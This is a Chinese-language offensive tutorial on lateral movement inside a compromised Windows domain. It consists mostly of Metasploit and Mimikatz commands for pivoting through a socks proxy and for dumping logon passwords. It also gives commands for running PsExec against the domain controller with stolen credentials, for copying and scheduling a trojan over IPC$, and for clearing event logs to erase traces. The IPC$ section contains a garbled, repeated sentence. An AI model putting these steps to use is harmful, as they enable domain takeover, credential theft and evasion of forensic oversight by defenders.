横向移动
横向移动指在已攻陷目标主机前提下,利用既有的资源尝试获取更多的凭据、域控主机的会话,以达到控制整个内网和拥有最高权限的目的。
横向移动的4种情况:
- 目标主机最高权限且能获取域控会话
- 目标主机最高权限但无法连接域控主机
- 目标主机没有最高权限,但可以通过横向移动获取域控主机会话
- 目标主机没有最高权限且内网没有横向移动的主机
1. 代理路由
功能:将目标主机流量代理到本地访问,代理路由可以穿透目标主机防火墙
场景:已经获取到域控主机 ip 地址段
- 加入网段到当前会话的路由表
bash
run autoroute -s 目标主机内网网段
- 更改 kali linux 代理配置文件 /etc/proxychains4.conf
bash
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 1080
- 运行代理服务
bash
use auxiliary/server/socks_proxy
- 测试代理路由能否访问内网主机
使用端口扫描模块并配置扫描主机IP地址为域控主机IP地址
bash
use auxiliary/scanner/portscan/tcp
set rhost 域控主机ip
run
2. 通过 PsExec 获取域控主机会话
PsExec:可以在远程主机执行命令或程序的工具
- 获取目标主机凭据
bash
load kiwi
kiwi_cmd sekurlsa:: logonPasswords
- 使用 PsExec 工具
更改RHOSTS为域控主机IP地址、SMBDomain为域名、SMBPass为密码、SMBUser为用户名
bash
use exploit/ windows/smb/psexec
exploit
3. 通过 IPC$ 获取域控主机会话
IPC(InternetProcessConnection):共享"命名管道"的资源(1)查看是否开启IPC(Internet Process Connection):共享"命名管道"的资源 (1)查看是否开启 IPC(InternetProcessConnection):共享"命名管道"的资源(1)查看是否开启IPC
bash
net view
net use \\DC\c$. #连接域控 IPC$
(2)上传木马到目标主机
(3)复制木马文件到域控主机
bash
copy 上传文件地址 \\DC\c$
(3)在域控主机上运行木马
bash
net time \\DC # 获取域控主机时间
at \\DC启动时间 域控主机的木马文件路径 # 在启动时间运行
除上述方法外,还可以通过WMIC获取域控主机会话
补充:清除日志
常见日志:登录、审计、应用程序、网络、安全事件
- 方法一:Metasploit
会话中输入:
bash
clearev
- 方法二:Mimikatz扩展
bash
kiwi_cmd event::clear
总结:系统命令和敏感问题收集目标主机信息 ------> Metasploit框架和Starkiller框架收集域控主机信息 ------> PsExec、IPC$、WMIC等获取域控主机会话 ------> 清楚目标主机和域控主机日志